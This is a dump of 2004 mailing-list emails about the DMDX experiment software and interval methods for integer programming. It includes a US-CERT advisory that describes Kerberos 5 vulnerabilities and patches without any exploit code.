/""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wright's First Law of Quality: Quality is inversely proportional to the time left for completion of the project. ",0,0 CERT Advisory ,cert-advisory@cert.org,"Fri, 03 Sep 2004 16:13:31 -0400",US-CERT Technical Cyber Security Alert TA04-247A -- Vulnerabilities in MIT Kerberos 5 ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA04-247A Vulnerabilities in MIT Kerberos 5 Original release date: September 3, 2004 Last revised: -- Source: US-CERT Systems Affected * MIT Kerberos 5 versions prior to krb5-1.3.5 * Applications that use versions of MIT Kerberos 5 libraries prior to krb5-1.3.5 * Applications that contain code derived from MIT Kerberos 5 Updated vendor information is available in the systems affected section of the individual vulnerability notes. Overview The MIT Kerberos 5 implementation contains several vulnerabilities, the most severe of which could allow an unauthenticated, remote attacker to execute arbitrary code on a Kerberos Distribution Center (KDC). This could result in the compromise of an entire Kerberos realm. I. Description There are several vulnerabilities in the MIT implementation of the Kerberos 5 protocol. With one exception (VU#550464), all of the vulnerabilities involve insecure deallocation of heap memory (double-free vulnerabilities) during error handling and Abstract Syntax Notation One (ASN.1) decoding. For further details, please see the following vulnerability notes: VU#795632 - MIT Kerberos 5 ASN.1 decoding functions insecurely deallocate memory (double-free) The MIT Kerberos 5 library does not securely deallocate heap memory when decoding ASN.1 structures, resulting in double-free vulnerabilities. An unauthenticated, remote attacker could execute arbitrary code on a KDC server, which could compromise an entire Kerberos realm. An attacker may also be able to execute arbitrary code on Kerberos clients, or cause a denial of service on KDCs or clients. (Other resources: MITKRB5-SA-2004-002, CAN-2004-0642) VU#866472 - MIT Kerberos 5 ASN.1 decoding function krb5_rd_cred() insecurely deallocates memory (double-free) The krb5_rd_cred() function in the MIT Kerberos 5 library does not securely deallocate heap memory when decoding ASN.1 structures, resulting in a double-free vulnerability. A remote, authenticated attacker could execute arbitrary code or cause a denial of service on any system running an application that calls krb5_rd_cred(). This includes Kerberos application servers and other applications that process Kerberos authentication via the MIT Kerberos 5 library, Generic Security Services Application Programming Interface (GSSAPI), and other libraries. (Other resources: MITKRB5-SA-2004-002, CAN-2004-0643) VU#350792 - MIT Kerberos krb524d insecurely deallocates memory (double-free) The MIT Kerberos krb524d daemon does not securely deallocate heap memory when handling an error condition, resulting in a double-free vulnerability. An unauthenticated, remote attacker could execute arbitrary code on a system running krb524d, which in many cases is also a KDC. The compromise of a KDC system can lead to the compromise of an entire Kerberos realm. An attacker may also be able to cause a denial of service on a system running krb524d. (Other resources: MITKRB5-SA-2004-002, CAN-2004-0772) VU#550464 - MIT Kerberos 5 ASN.1 decoding function asn1buf_skiptail() does not properly terminate loop The asn1buf_skiptail() function in the MIT Kerberos 5 library does not properly terminate a loop, allowing an unauthenticated, remote attacker to cause a denial of service in a KDC, application server, or Kerberos client. (Other resources: MITKRB5-SA-2004-003, CAN-2004-0644) II. Impact The impacts of these vulnerabilities vary, but an attacker may be able to execute arbitrary code on KDCs, systems running krb524d (typically also KDCs), application servers, applications that use Kerberos libraries directly or via GSSAPI, and Kerberos clients. An attacker could also cause a denial of service on any of these systems. The most severe vulnerabilities could allow an unauthenticated, remote attacker to execute arbitrary code on a KDC system. This could result in the compromise of both the KDC and an entire Kerberos realm. III. Solution Apply a patch or upgrade Check with your vendor(s) for patches or updates. For information about a specific vendor, please see the systems affected sections in the individual vulnerability notes or contact your vendor directly. Alternatively, apply the appropriate source code patch(es) referenced in MITKRB5-SA-2004-002 and MITKRB5-SA-2004-003 and recompile. These vulnerabilities will be addressed in krb5-1.3.5. Appendix A. References * Vulnerability Note VU#795632 - * Vulnerability Note VU#866472 - * Vulnerability Note VU#350792 - * Vulnerability Note VU#550464 - * MIT krb5 Security Advisory 2004-002 - * MIT krb5 Security Advisory 2004-003 - * Kerberos: The Network Authentication Protocol - _______________________________________________________________________ Thanks to Tom Yu and the MIT Kerberos Development team for addressing these vulnerabilities and coordinating with vendors. MIT credits the following people: Will Fiveash, Joseph Galbraith, John Hawkinson, Marc Horowitz, and Nico Williams. _______________________________________________________________________ Feedback can be directed to the author: Art Manion _______________________________________________________________________ This document is available from: _______________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use Terms of use: _______________________________________________________________________ Revision History September 3, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFBOM3iXlvNRxAkFWARAs9xAKC23q9EekPz/InQVWZPeUVhH4bnKwCgkVfh vKAOqE4sCXyydZ4BKnNreK8= =7R1M -----END PGP SIGNATURE-----",0,1 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Sat, 04 Sep 2004 14:32:31 +1000",[DMDX] Re: ANALYZE 2.03,"Hi there That's strange. I took out the request for a 2 sd cutoff as soon as I saw the spurious 2s in the das file. Maybe analyse is using the 2 SD cutoff as a default even when you don't ask for it? Thanks for any thoughts. Virginia Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ----- Original Message ----- From: ""Jonathan C. Forster"" To: Sent: Saturday, September 04, 2004 3:31 AM Subject: [DMDX] Re: ANALYZE 2.03 > At 10:09 AM 9/3/2004 -0700, you wrote: > >Hi Dmdxers > > > >Thanks Jonathan for your attention to analyse. I've run the new analyse on > >the data I sent Ken, and no longer get spurious 2s (see start of new das > >file below). But analyse seems to be missing some incorrect responses that > >are there. For instance, subjects 4 and 5 appear as having no incorrect > >values, but, according to the azk file, subj 4 makes one error on trial 112 > >(in the yes lefthand category) and subj 5 makes one error on trial 130 (in > >the right hand no category). These trials do seem to be included in the spc > >file, so I'm not sure what's wrong. Any help would be greatly appreciated. > > Perhaps those data points have been rejected because they're beyond 2.0 SDs? > | > +===============================+ > V > SUBJECT %ERRORS MEAN S.D. SD/MEAN 2.0-SD MISSING CUTOFF DISPLAY > 1 98 376.3 12.4 0.03 0 0 0 0 > 2 98 342.4 59.2 0.17 0 0 0 0 > 3 98 196.9 109.8 0.56 0 0 0 0 > 4 99 0.0 0.0 0.00 1 0 0 0 > 5 99 0.0 0.0 0.00 1 0 0 0 > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Wright's First Law of Quality: > Quality is inversely proportional to the time left for > completion of the project. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 04 Sep 2004 11:50:34 -0700",[DMDX] Re: ANALYZE 2.03,"At 02:32 PM 9/4/2004 +1000, you wrote: >Hi there > >That's strange. I took out the request for a 2 sd cutoff as soon as I saw >the spurious 2s in the das file. Maybe analyse is using the 2 SD cutoff as >a default even when you don't ask for it? Patently it is. >Thanks for any thoughts. The whole mean and certainly the SD calculation code is meaningless with a single data point so it rejecting those subjects is not a bad thing in any event. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Program complexity grows until it exceeds the capability of the programmer who must maintain it. ",0,0 """Virginia M. Holmes"" ",DMDX@psy1.psych.arizona.edu,"Sun, 05 Sep 2004 10:48:51 +1000",[DMDX] Re: ANALYZE 2.03,"Hi Jonathan I should have thought of that. Many thanks for your help. Virginia Holmes Assoc. Prof. V. M. Holmes Department of Psychology University of Melbourne Parkville 3010 Australia Tel: (03) 8344.6368 Facs: (03) 9347.6618 ----- Original Message ----- From: ""j.c.f."" To: Sent: Sunday, September 05, 2004 4:50 AM Subject: [DMDX] Re: ANALYZE 2.03 > At 02:32 PM 9/4/2004 +1000, you wrote: > >Hi there > > > >That's strange. I took out the request for a 2 sd cutoff as soon as I saw > >the spurious 2s in the das file. Maybe analyse is using the 2 SD cutoff as > >a default even when you don't ask for it? > > Patently it is. > > >Thanks for any thoughts. > > The whole mean and certainly the SD calculation code is meaningless with > a single data point so it rejecting those subjects is not a bad thing in > any event. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Program complexity grows until it exceeds the capability of > the programmer who must maintain it. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Sun, 05 Sep 2004 10:00:21 -0600",Research work,"Dear Friends, I hope someone more knowledgeable than me in robust control can answer these questions. If I understand correctly, by a discrete system the author (as usual in control) means discrete-time system, in which the dynamics is described by a different equation x(t+1)=f(x(t)) rather than by a differential equation in a continuous system. Some answers (definitely quite some answers to the second question) can be probably found in the well-known books (both listed on the Books part of the interval computations website) Robust Control: The Parametric Approach by S. P. Bhattacharyya, Herve Chapellat, and Lee Keel, Prentice-Hall, 1995. New Tools for Robustness of Linear Systems, by B. R. Barmish, McMillan, New York, 1994. There is also a lot about robust control in a more recent book Applied Interval Analysis, with Examples in Parameter and State Estimation, Robust Control and Robotics, by Luc Jaulin, Michel Kieffer, Olivier Didrit, and Eric Walter, Springer-Verlag, 2001, ISBN 1-85233-219-0. Vladik ------------- Begin Forwarded Message ------------- Date: Sun, 5 Sep 2004 05:29:57 -0700 (PDT) From: NEDUNCHEZHIAN subbu Subject: Research work To: vladik@cs.utep.edu MIME-Version: 1.0 Dear Sir, I am Professor S.Neduncheliyan, working in one of the Engg College in India. I am doing research in the field of system stability using Interval Analysis. I kindly request you to give me some ideas ( methodology) with examples for the following problems: 1.How to get the discrete interval system from continous interval system?. 2. How to find the controllability and obsevability of continous system and discrete interval systems?. Sir, please do this help for me. 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We have been invited by the Journal of Applied Logic to prepare a Special Issue containing selected publications from the workshop, in addition to other articles that might fit within the topics of interest of M4M. For that reason we are now distributing this Call for Papers. TOPICS OF INTEREST OF M4M The following list is provided as an example of suitable topics for the Special Issue. All topics should concern modal-like logics, broadly conceived. The list is by no means exhaustive and is given in an arbitrary order: * Automated theorem proving * Decision methods * Proof methods * Standard and non-standard inference problems * Model checking * Testing * Expressive power * Modelling * Applications * Successful uses of modal-like languages in other fields * Knowledge representation SUBMISSION DETAILS The final version of accepted papers has to follow the standard layout guidelines of the Journal of Applied Logic. Instructions for authors and the latex style files are available from http://staff.science.uva.nl/~m4m/SI/ Although not mandatory, we suggest to use the corresponding style files from that web-page also for your initial submission. The issue aims at high quality papers with a length around 20 to max. 30 pages. Please send your submission in postscript or pdf no later than October 31th, 2004 to areces@loria.fr. Notice that all papers will be refereed to ensure that their suitability for journal publication. IMPORTANT DATES Deadline for Submissions: October 31th, 2004 Reviews Due : November 21th, 2004 Final Versions Due : December 19th, 2004 GUEST EDITORS of the Special Issue Dr. Carlos Areces INRIA Lorraine 615, rue du Jardin Botanique 54602 Villers les Nancy Cedex, France phone : +33 (0)3 83 58 17 90 fax : +33 (0)3 83 41 30 79 e-mail : carlos.areces@loria.fr www : http://www.loria.fr/~areces ------------- End Forwarded Message -------------",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Mon, 06 Sep 2004 22:00:03 -0600",FUZZ-IEEE'2006,"mark your calendars; fuzzy organizers would like to see a good interval-related presence *************************************************************** (from the webpage) IEEE World Congress on Computational Intelligence (WCCI) Sheraton Vancouver Wall Centre Hotel, Vancouver, BC, Canada, May 21-26, 2006 http://www.wcci2006.org On behalf of the Operating Committee, I would like to welcome you to the venue of the 2006 World Congress on Computational Intelligence, Sheraton Vancouver Wall Centre in Vancouver, British Columbia, Canada. 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And Jonathan Livingston Seagull rose with the two starbright gulls to ",1,0 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Sep 2004 12:20:14 +0100",[DMDX] analyze and rtf files,"Hi, I'm having trouble getting the analyze program to run. I get an error message that says: not an RTF file, first chars are not ""{\\rtf"". I've followed the directions on Matt Davis's site to convert .azk files to .txt files. But analyze apparently wants .rtf files. I've even tried to simply save the converted .txt file as .rtf, but I still get the same error message. Any ideas? Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Sep 2004 12:30:40 +0100",[DMDX] Re: analyze and rtf files,"Hi, In the first box in the analyze program you need to select the rtf file that runs the program, you don't need to select the AZK file explicitly anywhere in the program. Hope this helps. Emma --On Thursday, September 09, 2004 12:20 PM +0100 C A Ankerstein wrote: > Hi, > > I'm having trouble getting the analyze program to run. I get an error > message that says: not an RTF file, first chars are not ""{\\rtf"". I've > followed the directions on Matt Davis's site to convert .azk files to > .txt files. But analyze apparently wants .rtf files. I've even tried to > simply save the converted .txt file as .rtf, but I still get the same > error message. > > Any ideas? > > > Thanks, > > Carrie > > > -- > Carrie Ankerstein > Department of Human Communication Sciences > University of Sheffield > 31 Claremont Crescent > Sheffield S10 2TA > United Kingdom > > phone: (0) 114 22 22412 > email: hcp02caa@sheffield.ac.uk > > > > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Sep 2004 12:34:35 +0100",[DMDX] Re: analyze and rtf files,"At 12:20 09/09/2004 +0100, you wrote: >Hi, > >I'm having trouble getting the analyze program to run. I get an error message >that says: not an RTF file, first chars are not ""{\\rtf"". I've followed the >directions on Matt Davis's site to convert .azk files to .txt files. But >analyze apparently wants .rtf files. I've even tried to simply save the >converted .txt file as .rtf, but I still get the same error message. Matt's getdat program and Analyze are completely different things. You need to use one or the other, I think. Getdat formats .azk output files such that it is easy to import them into Excel (turns the the rtf file into columns of tab delimited text, with each subjects data in a single column and a column with item numbers). Analyze I assume is expecting standard DMDX .azk output with subjects in serial order etc., so won't like the files that getdat creates. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,0 """Rosa, Andrea"" ",reliable_computing@interval.louisiana.edu,"Thu, 09 Sep 2004 11:28:40 +0100",intervals for integer programs,"Dear list members, I have recently become interested in interval methods as a means of solving non-linear non-convex optimisation problems and I am looking to employ them in my own fields of work (traffic and transport engineering and econometrics). However, part of the problems I'd like to work on with intervals are actually integer programs and I do not have, so far, a clear grasp of how applicable are interval methods in this case. Could you point me to papers, books sections or other resources discussing the applications of interval methods to the solution of (non-linear) integer programs? Many thanks Dr Andrea Rosa SBE - Napier University Edinburgh, UK tel ++44 (0) 131 455 2223 fax ++44 (0) 131 455 2239 ",0,0 George Corliss ,"""Rosa, Andrea"" , reliable_computing@interval.louisiana.edu","Thu, 09 Sep 2004 06:00:23 -0500",Re: intervals for integer programs,"Dear Dr. Rosa, I cannot point you to references, but I can offer that one approach I suppose is considered well known in the community is to apply interval methods to the continuous problem. When the interval of real numbers contains only one integer, snap to that integer. You sort of run a continuous algorithm with a tolerance of 0.99. Others may have more directly applicable references. Dr. George F. Corliss Electrical and Computer Engineering Marquette University PO Box 1881 1515 W. Wisconsin Ave. Milwaukee WI 53201-1881 USA 414-288-6599; Fax: 288-5579; Dept. 288-6280 George.Corliss@Marquette.edu > > Dear list members, > > I have recently become interested in interval methods as a means of solving > non-linear non-convex optimisation problems and I am looking to employ them in > my own fields of work (traffic and transport engineering and econometrics). > > However, part of the problems I'd like to work on with intervals are actually > integer programs and I do not have, so far, a clear grasp of how applicable > are interval methods in this case. > > Could you point me to papers, books sections or other resources discussing the > applications of interval methods to the solution of (non-linear) integer > programs? > > Many thanks > > Dr Andrea Rosa > SBE - Napier University > Edinburgh, UK > tel ++44 (0) 131 455 2223 > fax ++44 (0) 131 455 2239 > ",0,0 """R. Baker Kearfott"" ","George Corliss , ""Rosa, Andrea"" , reliable_computing@interval.louisiana.edu","Thu, 09 Sep 2004 07:23:41 -0500",Re: intervals for integer programs,"Dr. Rosa, Actually, what George suggests is a fairly widely-used technique in global optimization, not confined to interval methods: One replaces a constrained minimization problem by another problem whose minimum is less than or equal to the minimum of the original problem; this derived problem is called a ""relaxation."" The solution to the relaxation over a sub-region of the search region then provides a lower bound over any global optimum constrained to that subregion. Upper bounds to the global optimum are obtained by evaluating the objective at feasible points. The subregion can then be eliminated from further search if the lower bound is greater than the upper bound on the optimum. The above ""branch and bound"" technique, to my knowledge, is more-or-less ""standard"" for solving mixed integer programming problems (i.e. replacing the integers by continuous variables as George Corliss indicated, etc.). Interval methods in particular supply the following additional features: 1. Validation, that is mathematically certain bounds 2. Several alternate ways of obtaining bounds on ranges 3. the ""interval Newton"" acceleration procedure. A good starting point for further research might be Arnold Neumaier's web page: http://solon.cma.univie.ac.at/~neum/glopt.html Sincerely, R. Baker Kearfott At 06:00 AM 9/9/2004 -0500, George Corliss wrote: >Dear Dr. Rosa, > >I cannot point you to references, but I can offer that one approach I >suppose is considered well known in the community is to apply interval >methods to the continuous problem. When the interval of real numbers >contains only one integer, snap to that integer. You sort of run a >continuous algorithm with a tolerance of 0.99. > >Others may have more directly applicable references. > >Dr. George F. Corliss >Electrical and Computer Engineering >Marquette University >PO Box 1881 >1515 W. Wisconsin Ave. >Milwaukee WI 53201-1881 USA >414-288-6599; Fax: 288-5579; Dept. 288-6280 >George.Corliss@Marquette.edu > > >> >> Dear list members, >> >> I have recently become interested in interval methods as a means of solving >> non-linear non-convex optimisation problems and I am looking to employ them in >> my own fields of work (traffic and transport engineering and econometrics). >> >> However, part of the problems I'd like to work on with intervals are actually >> integer programs and I do not have, so far, a clear grasp of how applicable >> are interval methods in this case. >> >> Could you point me to papers, books sections or other resources discussing the >> applications of interval methods to the solution of (non-linear) integer >> programs? >> >> Many thanks >> >> Dr Andrea Rosa >> SBE - Napier University >> Edinburgh, UK >> tel ++44 (0) 131 455 2223 >> fax ++44 (0) 131 455 2239 >> > > >> --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Sep 2004 08:47:19 -0700",[DMDX] Re: analyze and rtf files,"At 12:34 PM 9/9/2004 +0100, you wrote: >At 12:20 09/09/2004 +0100, you wrote: >>Hi, >> >>I'm having trouble getting the analyze program to run. I get an error message >>that says: not an RTF file, first chars are not ""{\\rtf"". I've followed the >>directions on Matt Davis's site to convert .azk files to .txt files. But >>analyze apparently wants .rtf files. I've even tried to simply save the >>converted .txt file as .rtf, but I still get the same error message. > >Matt's getdat program and Analyze are completely different things. You >need to use one or the other, I think. Getdat formats .azk output files >such that it is easy to import them into Excel (turns the the rtf file >into columns of tab delimited text, with each subjects data in a single >column and a column with item numbers). Analyze I assume is expecting >standard DMDX .azk output with subjects in serial order etc., so won't >like the files that getdat creates. And it also needs the .RTF item file. The file you made that DMDX runs. So it can tell what is a correct response for any given item. As well as the .AZK. Like both of them. And the .AZK isn't converted into an .RTF, it's just plain text like DMDX produces. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's an old proverb that says just about whatever you want it to. ",0,0 C A Ankerstein ,"DMDX@psy1.psych.arizona.edu, ""j.c.f."" ","Thu, 09 Sep 2004 17:21:02 +0100",[DMDX] Re: analyze and rtf files,"Thanks so much, I got it to work! I was simply trying to enter the wrong files into the wrong spot. Carrie Quoting ""j.c.f."" : > At 12:34 PM 9/9/2004 +0100, you wrote: > >At 12:20 09/09/2004 +0100, you wrote: > >>Hi, > >> > >>I'm having trouble getting the analyze program to run. I get an error > message > >>that says: not an RTF file, first chars are not ""{\\rtf"". I've followed the > >>directions on Matt Davis's site to convert .azk files to .txt files. But > >>analyze apparently wants .rtf files. I've even tried to simply save the > >>converted .txt file as .rtf, but I still get the same error message. > > > >Matt's getdat program and Analyze are completely different things. You > >need to use one or the other, I think. Getdat formats .azk output files > >such that it is easy to import them into Excel (turns the the rtf file > >into columns of tab delimited text, with each subjects data in a single > >column and a column with item numbers). Analyze I assume is expecting > >standard DMDX .azk output with subjects in serial order etc., so won't > >like the files that getdat creates. > > > And it also needs the .RTF item file. The file you made that DMDX > runs. So it can tell what is a correct response for any given item. As > well as the .AZK. Like both of them. And the .AZK isn't converted into an > .RTF, it's just plain text like DMDX produces. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There's an old proverb that says just about whatever you want it to. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 arnold.neumaier@univie.ac.at,reliable_computing@interval.louisiana.edu,"Thu, 09 Sep 2004 17:22:39 +0200",Re: intervals for integer programs,"""R. Baker Kearfott"" wrote: > Actually, what George suggests is a fairly widely-used technique in > global optimization, not confined to interval methods: One replaces > a constrained minimization problem by another problem whose minimum > is less than or equal to the minimum of the original problem; this > derived problem is called a ""relaxation."" The solution to the > relaxation over a sub-region of the search region then provides a > lower bound over any global optimum constrained to that subregion. > At 06:00 AM 9/9/2004 -0500, George Corliss wrote: > >I cannot point you to references, but I can offer that one approach I > >suppose is considered well known in the community is to apply interval > >methods to the continuous problem. When the interval of real numbers > >contains only one integer, snap to that integer. You sort of run a > >continuous algorithm with a tolerance of 0.99. > >> I have recently become interested in interval methods as a means of solving > >> non-linear non-convex optimisation problems and I am looking to employ > them in > >> my own fields of work (traffic and transport engineering and econometrics). > >> > >> However, part of the problems I'd like to work on with intervals are actually > >> integer programs and I do not have, so far, a clear grasp of how applicable > >> are interval methods in this case. To apply interval methods to MINLPs, one just uses the general recipes from continuous global optimization, with a few modifications to take care of integer constraints: 1. When splitting an interval [a,b] for an integer variable, instead of splitting at, say, the midpoint c one splits at the two integers c_1 and c_2 closest to c, and gets the smaller halves [a,c_1] and [c_2,b]. 2. When using optimality conditions in an interval Newton method, one needs to treat all integer variables as parameters, not as variables; otherwise one might lose solutions. 3. One can use many standard techniques from MIP to add useful cutting planes. You may wish to read Ivo Nowak's work on MINLP: http://www-iam.mathematik.hu-berlin.de/~ivo/minlp.html His work contains a lot of relevant material, although he uses intervals only in a heuristic, nonrigorous fashion. Arnold Neumaier",0,1 ,,,,"with ESMTP id i89M6UpR009535 for ; Thu, 9 Sep 2004 15:06:30 -0700 Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA05889 for ; Thu, 9 Sep 2004 15:06:25 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1C5X3h-000Po4-IS; Thu, 09 Sep 2004 15:06:25 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1C5Wxi-000Pny-5c for csf@ucsb.edu; Thu, 09 Sep 2004 15:00:14 -0700 Received: from bodega.oit.ucsb.edu ([128.111.12.59]) by smtp.ucsb.edu with asmtp TLSv1:RC4-SHA:128 id 1C5Wxh-000Pnu-OV for csf@ucsb.edu; Thu, 09 Sep 2004 15:00:13 -0700 Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: E. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Sep 2004 15:07:24 -0700",[DMDX] DMDX 3.0.4.8 ," DMDX 3.0.4.8 should fix subdirectories with bitmaps etc below item file not being found. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ RECREATION, n. A particular kind of dejection to relieve a general fatigue. - Ambrose Bierce The Devil's Dictionary ",0,0 """Claudio M Rocco S. (rc)"" ","""Rosa, Andrea"" , reliable_computing@interval.louisiana.edu","Thu, 09 Sep 2004 16:28:46 -0400",Re: intervals for integer programs,"intervals for integer programsWhen the variables xi must be integers, Hansen proposes (in ""Global Optimization Using Interval Analysis"", pg 214) to solve a constrained problem by adding constraints like sin (pi*xi)=0 Claudio Rocco ----- Original Message ----- From: Rosa, Andrea To: reliable_computing@interval.louisiana.edu Sent: Thursday, September 09, 2004 6:28 AM Subject: intervals for integer programs Dear list members, I have recently become interested in interval methods as a means of solving non-linear non-convex optimisation problems and I am looking to employ them in my own fields of work (traffic and transport engineering and econometrics). However, part of the problems I'd like to work on with intervals are actually integer programs and I do not have, so far, a clear grasp of how applicable are interval methods in this case. Could you point me to papers, books sections or other resources discussing the applications of interval methods to the solution of (non-linear) integer programs? Many thanks Dr Andrea Rosa SBE - Napier University Edinburgh, UK tel ++44 (0) 131 455 2223 fax ++44 (0) 131 455 2239 ",0,0 arnold.neumaier@univie.ac.at,reliable_computing@interval.louisiana.edu,"Thu, 09 Sep 2004 23:50:38 +0200",Re: intervals for integer programs,"""Claudio M Rocco S. \\(rc\\)"" wrote: > When the variables xi must be integers, Hansen proposes > (in ""Global Optimization Using Interval Analysis"", pg 214) > to solve a constrained problem by adding constraints like > sin (pi*xi)=0 This is a simple way of posing the problem to a package that handles only continuous problems. But it is quite inefficient since it generates a local extremum at every feasible integer point, and thus makes the problem unnecessarily difficult. Even linear mixed integer problems, which can generally be solved quite efficiently using branch and cut with an LP-solver, will become nonlinear! Arnold Neumaier",0,0 """R. Baker Kearfott"" ","""Claudio M Rocco S. (rc)"" , ""Rosa, Andrea"" , reliable_computing@interval.louisiana.edu","Thu, 09 Sep 2004 16:54:49 -0500",Re: intervals for integer programs,"Claudio et al, I've tried that. For some problems it seems to work OK. However, if you follow that route, you must have a very good way of handling general equality constraints, in general. You cannot get around the inherent computational complexity of integer programming that way. It is one tool of many that can possibly be used. Baker At 04:28 PM 9/9/2004 -0400, Claudio M Rocco S. \\(rc\\) wrote: >intervals for integer programsWhen the variables xi must be integers, Hansen proposes (in ""Global Optimization Using Interval Analysis"", pg 214) to solve a constrained problem by adding constraints like >sin (pi*xi)=0 > >Claudio Rocco > ----- Original Message ----- > From: Rosa, Andrea > To: reliable_computing@interval.louisiana.edu > Sent: Thursday, September 09, 2004 6:28 AM > Subject: intervals for integer programs > > > Dear list members, > > I have recently become interested in interval methods as a means of solving non-linear non-convex optimisation problems and I am looking to employ them in my own fields of work (traffic and transport engineering and econometrics). > > However, part of the problems I'd like to work on with intervals are actually integer programs and I do not have, so far, a clear grasp of how applicable are interval methods in this case. > > Could you point me to papers, books sections or other resources discussing the applications of interval methods to the solution of (non-linear) integer programs? > > Many thanks > > Dr Andrea Rosa > SBE - Napier University > Edinburgh, UK > tel ++44 (0) 131 455 2223 > fax ++44 (0) 131 455 2239 --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Sep 2004 18:29:15 -0700",[DMDX] Re: DMDX 3.0.4.8 ,"At 03:07 PM 9/9/2004 -0700, you wrote: > DMDX 3.0.4.8 should fix subdirectories with bitmaps etc below item file > not being found. So you can have things like: +1 g ""bitmaps\\bitmap.bmp"" *; +2 ""sounds\\sound.wav"" *; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's an old proverb that says just about whatever you want it to.",0,0 Greg Cogan ,"""<"" ","Fri, 10 Sep 2004 09:43:00 -0400",[DMDX] Analyzing zil,"Good morning all, I was wondering if there was any way to convert a zil output into a more spss friendly format. I know that the analzye utility works for azk, but I wanted to know if there was a similar programme for zil. Thanks in advance -Greg ",0,0 Slava Nesterov ,reliable_computing@interval.louisiana.edu,"Fri, 10 Sep 2004 08:58:00 +0400",Reliable Computing journal address changed,"Dear Colleagues, My address and the address of Reliable Computing journal changed. The former address was slnest@comset.net. The new address is slnest@mail.ru The old address will be functional for some time but please use the new one. Sorry for inconvenience. Best regards, Slava",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 10 Sep 2004 08:39:50 -0700",[DMDX] Re: Analyzing zil,"At 09:43 AM 